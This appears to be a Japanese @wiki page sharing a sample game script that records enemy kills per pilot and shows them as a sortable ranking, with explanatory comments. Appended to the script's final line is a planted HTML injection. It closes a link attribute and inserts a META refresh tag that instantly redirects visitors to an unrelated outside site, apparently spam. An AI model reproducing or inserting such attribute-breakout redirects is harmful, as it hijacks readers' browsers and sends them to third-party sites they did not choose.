インクルリズム @ Wiki

撃墜数ランキング

最終更新:

匿名ユーザー

- view
だれでも歓迎! 編集

撃墜数ランキング


撃墜数ランキング作成のサンプルを置いておきます。
ここから色々と弄くって自分好みのものに仕上げるといいでしょう。

// 撃墜数の記録に使う変数のグローバル宣言
// シナリオ内で1回宣言すれば、それ以降は必要ないです
// 別に必要でなければ削りましょう
*プロローグ:
// ヘッダは「Destruction Number Ranking Include」の略
Global DNRI_撃墜数
Exit

// 敵を破壊したら、破壊したパイロットの撃墜数をインクリメントする
*破壊 敵:
*破壊 中立:

// 破壊したユニットのID
Local _UnitID = 相手ユニットID

// 味方が破壊したのでなければ終了
If Party(_UnitID) != "味方" Exit

// 念のためにパイロットIDをインデックスに指定
// 味方にザコや汎用パイロットを使わなければパイロット名称で十分
Incr DNRI_撃墜数[PilotID(_UnitID)] 1

Exit

// 撃墜数をランキング表示するマップコマンド
マップコマンド 撃墜数ランキング:

// とりあえず昇順にソート
Sort DNRI_撃墜数

// ランキング表示用に変数を作る
Local _Ranking index
ForEach index In DNRI_撃墜数
  _Ranking[index] = "$( LSet(Nickname(index), 20) )[ $(RSet(DNRI_撃墜数[index], 6)) ]"
Next

// ランキングを表示
Ask _Ranking "$( LSet(パイロット名, 20) )[ 撃墜数 ]" "キャンセル可"

// システム変数「選択」にはパイロットIDもしくは空文字(キャンセルの場合)が格納されているので、
// それを用いて独自処理を組むのもいいでしょう
// パイロットIDはパイロット名と同等の働きをします
// 例:選択パイロットをセンタリング
// Center 選択

Exit[[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]

タグ:

+ タグ編集
  • タグ:

このサイトはreCAPTCHAによって保護されており、Googleの プライバシーポリシー利用規約 が適用されます。

人気記事ランキング
目安箱バナー